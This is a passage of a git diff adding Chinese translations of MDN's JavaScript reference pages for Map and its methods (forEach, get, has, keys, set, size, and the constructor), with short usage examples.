definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("javascript.builtins.Map.entries")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{jsxref("Map.prototype.keys()")}}</li> + <li>{{jsxref("Map.prototype.values()")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/foreach/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/foreach/index.html new file mode 100644 index 0000000000..2cf9146f72 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/foreach/index.html @@ -0,0 +1,110 @@ +--- +title: Map.prototype.forEach() +slug: Web/JavaScript/Reference/Global_Objects/Map/forEach +translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Method + - Prototype + - Reference +browser-compat: javascript.builtins.Map.forEach +--- +<div>{{JSRef}}</div> + +<p><span class="seoSummary"><code><strong>forEach()</strong></code> 方法按照插入顺序依次对 <code>Map</code> 中每个键/值对执行一次给定的函数</span></p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-foreach.html")}}</div> + + + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate"><code><var>myMap</var>.forEach(<var>callback([<var>value</var>][,<var>key</var>][,<var>map</var>])[, <var>thisArg</var>])</var></code></pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code><var>callback</var></code></dt> + <dd> + <p><code><var>myMap</var></code> 中每个元素所要执行的函数。它具有如下的参数</p> + + <dl> + <dt><code><var>value</var></code> {{Optional_Inline}}</dt> + <dd>每个迭代的值。</dd> + <dt><code><var>key</var></code> {{Optional_Inline}}</dt> + <dd>每个迭代的键。</dd> + <dt><code><var>map</var></code> {{Optional_Inline}}</dt> + <dd>被迭代的map(上文语法框中的 <code><var>myMap</var></code>)。</dd> + </dl> + </dd> + <dt><code><var>thisArg</var></code> {{Optional_Inline}}</dt> + <dd>在 <code><var>callback</var></code> 执行中使用的 <code>this</code> 的值。</dd> +</dl> + +<h3 id="返回值">返回值</h3> + +<p>{{jsxref("undefined")}}.</p> + +<h2 id="描述">描述</h2> + +<p><code>forEach</code> 方法会对map中每个真实存在的键执行一次给定的 <code><var>callback</var></code> 函数。它不会对被删除的键执行函数。然而,它会对每个值为 <code>undefined</code> 的键执行函数。</p> + +<p><code><var>callback</var></code> 接收<strong>三个参数</strong>:</p> + +<ul> + <li>当前的 <code><var>value</var></code></li> + <li>当前的 <code><var>key</var></code></li> + <li>正在被遍历的 <strong><code>Map</code> 对象</strong></li> +</ul> + +<p>如果 <code>forEach</code> 中含有 <code><var>thisArg</var></code> 参数,那么每次 <code><var>callback</var></code> 被调用时,都会被用作 <code>this</code> 的值。否则,<code>undefined</code> 将会被用作 <code>this</code> 的值。按照<a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">函数观察到 <code>this</code> 的常用规则</a>,<code><var>callback</var></code> 函数最终可观察到 <code>this</code> 值。</p> + +<p>每个值只被访问一次,除非它被删除了或者在 <code>forEach</code> 结束前被改变了。<code><var>callback</var></code> 不会对在被访问前就删除的元素执行。在 <code>forEach</code> 结束前被添加的元素将会被访问。</p> + +<p><code>forEach</code> 会对 <code>Map</code> 对象中的每个元素执行一次 <code><var>callback</var></code>。它不会返回值。</p> + +<h2 id="示例">示例</h2> + +<h3 id="输出一个_Map_对象中的内容">输出一个 <code>Map</code> 对象中的内容</h3> + +<p>以下的代码在每行中打印一个 <code>Map</code> 对象中的元素</p> + +<pre class="brush:js notranslate">function logMapElements(value, key, map) { + console.log(`map.get('${key}') = ${value}`) +} +new Map([['foo', 3], ['bar', {}], ['baz', undefined]]).forEach(logMapElements) +// logs: +// "map.get('foo') = 3" +// "map.get('bar') = [object Object]" +// "map.get('baz') = undefined" +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + + + +<p>{{Compat("javascript.builtins.Map.forEach")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{jsxref("Array.prototype.forEach()")}}</li> + <li>{{jsxref("Set.prototype.forEach()")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/get/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/get/index.html new file mode 100644 index 0000000000..6a8a1d771c --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/get/index.html @@ -0,0 +1,82 @@ +--- +title: Map.prototype.get() +slug: Web/JavaScript/Reference/Global_Objects/Map/get +translation_of: Web/JavaScript/Reference/Global_Objects/Map/get +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Method + - Prototype + - Reference +browser-compat: javascript.builtins.Map.get +--- +<div>{{JSRef}}</div> + +<p><code><strong>get()</strong></code> 方法返回某个 <code>Map</code> 对象中的一个指定元素。</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-get.html")}}</div> + + + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><code><em>myMap</em>.get(key);</code></pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt>key</dt> + <dd>必须参数,也是它唯一的参数,要从目标 <code>Map</code> 对象中获取的元素的键。</dd> +</dl> + +<h3 id="返回值">返回值</h3> + +<p>返回一个 <code>Map</code> 对象中与指定键相关联的值,如果找不到这个键则返回 <code>undefined</code>。</p> + +<h2 id="示例">示例</h2> + +<h3 id="使用_get_方法">使用 <code>get</code> 方法</h3> + +<pre class="brush: js">var myMap = new Map(); +myMap.set("bar", "foo"); + +myMap.get("bar"); // 返回 "foo" +myMap.get("baz"); // 返回 undefined +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("javascript.builtins.Map.get")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{jsxref("Map")}}</li> + <li>{{jsxref("Map.prototype.set()")}}</li> + <li>{{jsxref("Map.prototype.has()")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/has/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/has/index.html new file mode 100644 index 0000000000..05ebad0ea0 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/has/index.html @@ -0,0 +1,122 @@ +--- +title: Map.prototype.has() +slug: Web/JavaScript/Reference/Global_Objects/Map/has +translation_of: Web/JavaScript/Reference/Global_Objects/Map/has +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Method + - Prototype + - Reference +browser-compat: javascript.builtins.Map.has +--- +<div>{{JSRef}}</div> + +<p>方法<code><strong>has()</strong></code> 返回一个bool值,用来表明map 中是否存在指定元素.</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><code><em>myMap</em>.has(key);</code></pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt>key</dt> + <dd>必填. 用来检测是否存在指定元素的键值.</dd> +</dl> + +<h3 id="返回值">返回值</h3> + +<dl> + <dt>Boolean</dt> + <dd>如果指定元素存在于Map中,则返回true。其他情况返回false</dd> +</dl> + +<h2 id="案例">案例</h2> + +<h3 id="使用has方法">使用has方法</h3> + +<pre class="brush: js">var myMap = new Map(); +myMap.set("bar", "foo"); + +myMap.has("bar"); // returns true +myMap.has("baz"); // returns false +</pre> + +<h2 id="规范列表">规范列表</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范名称</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-map.prototype.has', 'Map.prototype.has')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>浏览器</th> + <th>Chrome谷歌</th> + <th>Firefox (Gecko)火狐</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>兼容版本</td> + <td>38</td> + <td>{{CompatGeckoDesktop("13.0")}}</td> + <td>11</td> + <td>25</td> + <td>7.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>浏览器</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>兼容版本</td> + <td>{{CompatNo}}</td> + <td>38</td> + <td>{{CompatGeckoMobile("13.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{jsxref("Map")}}</li> + <li>{{jsxref("Map.prototype.set()")}}</li> + <li>{{jsxref("Map.prototype.get()")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/index.html new file mode 100644 index 0000000000..a8afeac9c2 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/index.html @@ -0,0 +1,340 @@ +--- +title: Map +slug: Web/JavaScript/Reference/Global_Objects/Map +translation_of: Web/JavaScript/Reference/Global_Objects/Map +tags: + - Class + - ECMAScript 2015 + - JavaScript + - Map + - Reference + - Polyfill +browser-compat: javascript.builtins.Map +--- +<div> +<div>{{JSRef}}</div> +</div> + +<p><strong><code>Map</code></strong> 对象保存键值对,并且能够记住键的原始插入顺序。任何值(对象或者{{Glossary("Primitive", "原始值")}}) 都可以作为一个键或一个值。</p> + +<dl> +</dl> + +<h2 id="描述">描述</h2> + +<p>一个Map对象在迭代时会根据对象中元素的插入顺序来进行 — 一个 {{jsxref("Statements/for...of", "for...of")}} 循环在每次迭代后会返回一个形式为[key,value]的数组。</p> + +<h3 id="键的相等Key_equality">键的相等(Key equality)</h3> + +<ul> + <li>键的比较是基于 <code><a href="/zh-CN/docs/Web/JavaScript/Equality_comparisons_and_sameness#零值相等">sameValueZero</a></code> 算法:</li> + <li>{{jsxref("NaN")}} 是与 <code>NaN</code> 相等的(虽然 <code>NaN !== NaN</code>),剩下所有其它的值是根据 <code>===</code> 运算符的结果判断是否相等。</li> + <li>在目前的ECMAScript规范中,<code>-0</code>和<code>+0</code>被认为是相等的,尽管这在早期的草案中并不是这样。有关详细信息,请参阅<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map#浏览器兼容性">浏览器兼容性</a> 表中的“Value equality for -0 and 0”。</li> +</ul> + +<h3 id="Objects_和_maps_的比较">Objects 和 maps 的比较</h3> + +<p>{{jsxref("Object", "Objects")}} 和 <code>Maps</code> 类似的是,它们都允许你按键存取一个值、删除键、检测一个键是否绑定了值。因此(并且也没有其他内建的替代方式了)过去我们一直都把对象当成 <code>Maps</code> 使用。不过 <code>Maps</code> 和 <code>Objects</code> 有一些重要的区别,在下列情况里使用 <code>Map</code> 会是更好的选择:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="row"></th> + <th scope="col">Map</th> + <th scope="col">Object</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">意外的键</th> + <td><code>Map</code> 默认情况不包含任何键。只包含显式插入的键。</td> + <td> + <p>一个 <code>Object</code> 有一个原型, 原型链上的键名有可能和你自己在对象上的设置的键名产生冲突。</p> + + <div class="blockIndicator note"> + <p><strong>注意:</strong> 虽然 ES5 开始可以用 <code>Object.create(null)</code> 来创建一个没有原型的对象,但是这种用法不太常见。</p> + </div> + </td> + </tr> + <tr> + <th scope="row">键的类型</th> + <td>一个 <code>Map</code>的键可以是<strong>任意值</strong>,包括函数、对象或任意基本类型。</td> + <td>一个<code>Object</code> 的键必须是一个 {{jsxref("String")}} 或是{{jsxref("Symbol")}}。</td> + </tr> + <tr> + <th scope="row">键的顺序</th> + <td> + <p><code>Map</code> 中的 key 是有序的。因此,当迭代的时候,一个 <code>Map</code> 对象以插入的顺序返回键值。</p> + </td> + <td> + <p>一个 <code>Object</code> 的键是无序的</p> + + <div class="blockIndicator note"> + <p>注意:自ECMAScript 2015规范以来,对象<em>确实</em>保留了字符串和Symbol键的创建顺序; 因此,在只有字符串键的对象上进行迭代将按插入顺序产生键。</p> + </div> + </td> + </tr> + <tr> + <th scope="row">Size</th> + <td> <code>Map</code> 的键值对个数可以轻易地通过{{jsxref("Map.prototype.size", "size")}} 属性获取</td> + <td><code>Object</code> 的键值对个数只能手动计算</td> + </tr> + <tr> + <th scope="row">迭代</th> + <td><code>Map</code> 是 <a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a> 的,所以可以直接被迭代。</td> + <td>迭代一个<code>Object</code>需要以某种方式获取它的键然后才能迭代。</td> + </tr> + <tr> + <th scope="row">性能</th> + <td> + <p>在频繁增删键值对的场景下表现更好。</p> + </td> + <td> + <p>在频繁添加和删除键值对的场景下未作出优化。</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="构造函数">构造函数</h2> + +<dl> + <dt>{{jsxref("Global_Objects/Map/Map", "Map()")}}</dt> + <dd>创建 <code>Map</code> 对象</dd> +</dl> + +<h2 id="属性">属性</h2> + +<dl> + <dt><code>Map.length</code></dt> + <dd>属性 length 的值为 0 。<br> + 想要计算一个<code>Map</code> 中的条目数量, 使用 {{jsxref("Map.prototype.size")}}.</dd> + <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt> + <dd>本构造函数用于创建派生对象。</dd> + <dt>{{jsxref("Map.prototype")}}</dt> + <dd>表示 <code>Map</code> 构造器的原型。 允许添加属性从而应用于所有的 <code>Map</code> 对象。</dd> +</dl> + +<h2 id="Map_实例"><code>Map</code> 实例</h2> + +<p><font face="Open Sans, Arial, sans-serif">所有的 </font><code>Map</code> 对象实例都会继承 {{jsxref("Map.prototype")}}。</p> + +<h3 id="属性_2">属性</h3> + +<p>{{page('zh-CN/Web/JavaScript/Reference/Global_Objects/Map/prototype','属性')}}</p> + +<h3 id="方法">方法</h3> + +<p>{{page('zh-CN/Web/JavaScript/Reference/Global_Objects/Map/prototype','方法')}}</p> + +<h2 id="示例">示例</h2> + +<h3 id="使用_Map_对象">使用 <code>Map</code> 对象</h3> + +<pre class="brush: js">let myMap = new Map(); + +let keyObj = {}; +let keyFunc = function() {}; +let keyString = 'a string'; + +// 添加键 +myMap.set(keyString, "和键'a string'关联的值"); +myMap.set(keyObj, "和键keyObj关联的值"); +myMap.set(keyFunc, "和键keyFunc关联的值"); + +myMap.size; // 3 + +// 读取值 +myMap.get(keyString); // "和键'a string'关联的值" +myMap.get(keyObj); // "和键keyObj关联的值" +myMap.get(keyFunc); // "和键keyFunc关联的值" + +myMap.get('a string'); // "和键'a string'关联的值" + // 因为keyString === 'a string' +myMap.get({}); // undefined, 因为keyObj !== {} +myMap.get(function() {}); // undefined, 因为keyFunc !== function () {}</pre> + +<h3 id="将_NaN_作为_Map_的键">将 <code>NaN</code> 作为 <code>Map</code> 的键</h3> + +<p><code>NaN</code> 也可以作为<code>Map</code>对象的键。虽然 <code>NaN</code> 和任何值甚至和自己都不相等(<code>NaN !== NaN</code> 返回true),但下面的例子表明,<code>NaN</code>作为Map的键来说是没有<span><span>区别的</span></span>:</p> + +<pre class="brush: js">let myMap = new Map(); +myMap.set(NaN, "not a number"); + +myMap.get(NaN); // "not a number" + +let otherNaN = Number("foo"); +myMap.get(otherNaN); // "not a number" +</pre> + +<h3 id="使用_for..of_方法迭代_Map">使用 <code>for..of</code> 方法迭代 <code>Map</code></h3> + +<p><code>Map</code>可以使用<code>for..of</code>循环来实现迭代:</p> + +<pre class="brush: js">let myMap = new Map(); +myMap.set(0, "zero"); +myMap.set(1, "one"); +for (let [key, value] of myMap) { + console.log(key + " = " + value); +} +// 将会显示两个log。一个是"0 = zero"另一个是"1 = one" + +for (let key of myMap.keys()) { + console.log(key); +} +// 将会显示两个log。 一个是 "0" 另一个是 "1" + +for (let value of myMap.values()) { + console.log(value); +} +// 将会显示两个log。 一个是 "zero" 另一个是 "one" + +for (let [key, value] of myMap.entries()) { + console.log(key + " = " + value); +} +// 将会显示两个log。 一个是 "0 = zero" 另一个是 "1 = one"</pre> + +<h3 id="使用_forEach_方法迭代_Map">使用 <code>forEach()</code> 方法迭代 <code>Map</code></h3> + +<p><code>Map</code>也可以通过<code>forEach()</code>方法迭代:</p> + +<pre class="brush: js">myMap.forEach(function(value, key) { + console.log(key + " = " + value); +}) +// 将会显示两个logs。 一个是 "0 = zero" 另一个是 "1 = one" +</pre> + +<h3 id="Map_与数组的关系"><code>Map</code> 与数组的关系</h3> + +<pre class="brush: js">let kvArray = [["key1", "value1"], ["key2", "value2"]]; + +// 使用常规的Map构造函数可以将一个二维键值对数组转换成一个Map对象 +let myMap = new Map(kvArray); + +myMap.get("key1"); // 返回值为 "value1" + +// 使用Array.from函数可以将一个Map对象转换成一个二维键值对数组 +console.log(Array.from(myMap)); // 输出和kvArray相同的数组 + +// 更简洁的方法来做如上同样的事情,使用展开运算符 +console.log([...myMap]); + +// 或者在键或者值的迭代器上使用Array.from,进而得到只含有键或者值的数组 +console.log(Array.from(myMap.keys())); // 输出 ["key1", "key2"] +</pre> + +<h3 id="复制或合并_Maps">复制或合并 <code>Maps</code></h3> + +<p>Map 能像数组一样被复制:</p> + +<pre class="brush: js">let original = new Map([ + [1, 'one'] +]); + +let clone = new Map(original); + +console.log(clone.get(1)); // one +console.log(original === clone); // false. 浅比较 不为同一个对象的引用 +</pre> + +<div class="blockIndicator note"> +<p>重要:请记住,<em>数据本身</em>未被克隆。</p> +</div> + +<p>Map对象间可以进行合并,但是会保持键的唯一性。</p> + +<pre class="brush: js">let first = new Map([ + [1, 'one'], + [2, 'two'], + [3, 'three'], +]); + +let second = new Map([ + [1, 'uno'], + [2, 'dos'] +]); + +// 合并两个Map对象时,如果有重复的键值,则后面的会覆盖前面的。 +// 展开运算符本质上是将Map对象转换成数组。 +let merged = new Map([...first, ...second]); + +console.log(merged.get(1)); // uno +console.log(merged.get(2)); // dos +console.log(merged.get(3)); // three</pre> + +<p>Map对象也能与数组合并:</p> + +<pre class="brush: js">let first = new Map([ + [1, 'one'], + [2, 'two'], + [3, 'three'], +]); + +let second = new Map([ + [1, 'uno'], + [2, 'dos'] +]); + +// Map对象同数组进行合并时,如果有重复的键值,则后面的会覆盖前面的。 +let merged = new Map([...first, ...second, [1, 'eins']]); + +console.log(merged.get(1)); // eins +console.log(merged.get(2)); // dos +console.log(merged.get(3)); // three</pre> + +<h2 id="使用说明">使用说明</h2> + +<p>请注意!为Map设置对象属性也是可以的,但是可能引起大量的混乱。</p> + +<p>所以,你还是<em>可以这样做.</em>..</p> + +<pre class="syntaxbox example-bad brush js">let wrongMap = new Map() +wrongMap['bla'] = 'blaa' +wrongMap['bla2'] = 'blaaa2' + +console.log(wrongMap) // Map { bla: 'blaa', bla2: 'blaaa2' } +</pre> + +<p>...但是,这样做的话,它的行为会不符合预期:</p> + +<pre class="syntaxbox example-bad brush js">wrongMap.has('bla') // false +wrongMap.delete('bla') // false +console.log(wrongMap) // Map { bla: 'blaa', bla2: 'blaaa2' }</pre> + +<p>无论如何,和正确用法比较起来,几乎没有什么不同: </p> + +<pre class="syntaxbox brush js example-good">let myMap = new Map() +myMap.set('bla','blaa') +myMap.set('bla2','blaa2') +console.log(myMap) // Map { 'bla' => 'blaa', 'bla2' => 'blaa2' } + +myMap.has('bla') // true +myMap.delete('bla') // true +console.log(myMap) // Map { 'bla2' => 'blaa2' }</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("javascript.builtins.Map")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{jsxref("Set")}}</li> + <li>{{jsxref("WeakMap")}}</li> + <li>{{jsxref("WeakSet")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/keys/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/keys/index.html new file mode 100644 index 0000000000..8ded2f526a --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/keys/index.html @@ -0,0 +1,79 @@ +--- +title: Map.prototype.keys() +slug: Web/JavaScript/Reference/Global_Objects/Map/keys +translation_of: Web/JavaScript/Reference/Global_Objects/Map/keys +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Map + - Method + - Prototype +browser-compat: javascript.builtins.Map.keys +--- +<div>{{JSRef}}</div> + +<p><code><strong>keys()</strong></code> 返回一个引用的 <code><strong>Iterator</strong></code> 对象。它包含按照顺序插入 <code>Map</code> 对象中每个元素的key值。</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-keys.html")}}</div> + + + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate"><code><em>myMap</em>.keys()</code></pre> + +<h3 id="返回值">返回值</h3> + +<p>一个存在引用关系的 {{jsxref("Map")}} iterator 对象.</p> + +<h2 id="例子">例子</h2> + +<h3 id="使用_keys">使用 <code>keys()</code></h3> + +<pre class="brush:js notranslate">var myMap = new Map(); +myMap.set("0", "foo"); +myMap.set(1, "bar"); +myMap.set({}, "baz"); + +var mapIter = myMap.keys(); + +console.log(mapIter.next().value); // "0" +console.log(mapIter.next().value); // 1 +console.log(mapIter.next().value); // Object +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("javascript.builtins.Map.keys")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{jsxref("Map.prototype.entries()")}}</li> + <li>{{jsxref("Map.prototype.values()")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/map/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/map/index.html new file mode 100644 index 0000000000..9e83f030bc --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/map/index.html @@ -0,0 +1,64 @@ +--- +title: Map() 构造函数 +slug: Web/JavaScript/Reference/Global_Objects/Map/Map +translation_of: Web/JavaScript/Reference/Global_Objects/Map/Map +tags: + - Constructor + - JavaScript + - Map + - Reference + - Polyfill +browser-compat: javascript.builtins.Map.Map +--- +<div>{{JSRef}}</div> + +<p><strong><code>Map()</code> 构造函数</strong> 创建 {{jsxref("Map")}} 对象.</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">new Map([<var>iterable</var>])</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code><var>iterable</var></code></dt> + <dd>Iterable 可以是一个{{jsxref("Array", "数组")}}或者其他 <a href="/zh-CN/docs/Web/JavaScript/Guide/iterable">iterable</a> 对象,其元素为键值对(两个元素的数组,例如: [[ 1, 'one' ],[ 2, 'two' ]])。 每个键值对都会添加到新的 Map。<code>null</code> 会被当做 <code>undefined。</code></dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre class="brush: js">let myMap = new Map([ + [1, 'one'], + [2, 'two'], + [3, 'three'], +]) +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-map-constructor', 'Map constructor')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.builtins.Map.Map")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Set")}}</li> + <li>{{jsxref("WeakMap")}}</li> + <li>{{jsxref("WeakSet")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/set/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/set/index.html new file mode 100644 index 0000000000..ae2ff00036 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/set/index.html @@ -0,0 +1,97 @@ +--- +title: Map.prototype.set() +slug: Web/JavaScript/Reference/Global_Objects/Map/set +translation_of: Web/JavaScript/Reference/Global_Objects/Map/set +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Method + - Prototype + - Reference +browser-compat: javascript.builtins.Map.set +--- +<p id="sect1">{{JSRef}}</p> + +<p><code><strong>set()</strong></code> 方法为 <code>Map</code> 对象添加或更新一个指定了键(<code>key</code>)和值(<code>value</code>)的(新)键值对。</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-set.html")}}</div> + + + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><code><em>myMap</em>.set(key, value);</code></pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt>key</dt> + <dd>要添加至相应 <code>Map</code> 对象的元素的键。</dd> + <dt>value</dt> + <dd>要添加至相应 <code>Map</code> 对象的元素的值。</dd> +</dl> + +<h3 id="返回值">返回值</h3> + +<p><code>Map</code> 对象</p> + +<h2 id="示例">示例</h2> + +<h3 id="使用_set_方法">使用 <code>set</code> 方法</h3> + +<pre class="brush: js">var myMap = new Map(); + +// 将一个新元素添加到 Map 对象 +myMap.set("bar", "foo"); +myMap.set(1, "foobar"); + +// 在Map对象中更新某个元素的值 +myMap.set("bar", "baz"); +</pre> + +<h3 id="链式使用_set_方法">链式使用 <code>set</code> 方法</h3> + +<p>因为 Set() 方法返回 Map 对象本身,所以你可以像下面这样链式调用它:</p> + +<pre class="brush: js">// Add new elements to the map with chaining. +myMap.set('bar', 'foo') + .set(1, 'foobar') + .set(2, 'baz'); +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("javascript.builtins.Map.set")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{jsxref("Map")}}</li> + <li>{{jsxref("Map.prototype.get()")}}</li> + <li>{{jsxref("Map.prototype.has()")}}</li> +</ul> diff --git a/files/zh-cn/web/javascript/reference/global_objects/map/size/index.html b/files/zh-cn/web/javascript/reference/global_objects/map/size/index.html new file mode 100644 index 0000000000..37a0aa484e --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/map/size/index.html @@ -0,0 +1,78 @@ +--- +title: Map.prototype.size +slug: Web/JavaScript/Reference/Global_Objects/Map/size +translation_of: Web/JavaScript/Reference/Global_Objects/Map/size +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Property +browser-compat: javascript.builtins.Map.size +--- +<div>{{JSRef}}<br> + </div> + +<p><code><strong>size</strong></code> 是可访问属性,用于返回 一个{{jsxref("Map")}} 对象的成员数量。</p> + +<p>{{EmbedInteractiveExample("pages/js/map-prototype-size.html")}}</p> + +<p>这个示例源码保存在GitHub:<a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>。如果你想贡献代码,修改后在GitHub上发推送请求给我们。</p> + +<p> </p> + +<h2 id="描述">描述</h2> + +<p>size 属性的值是一个整数,表示 Map 对象有多少个键值对。size 是只读属性,用set 方法修改size返回 undefined,即不能改变它的值。</p> + +<h2 id="示例">示例</h2> + +<pre class="brush:js">var myMap = new Map(); +myMap.set("a", "alpha"); +myMap.set("b", "beta"); +myMap.set("g", "gamma"); + +myMap.size // 3 +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + +<p>此页的兼容性表格请查阅:<a 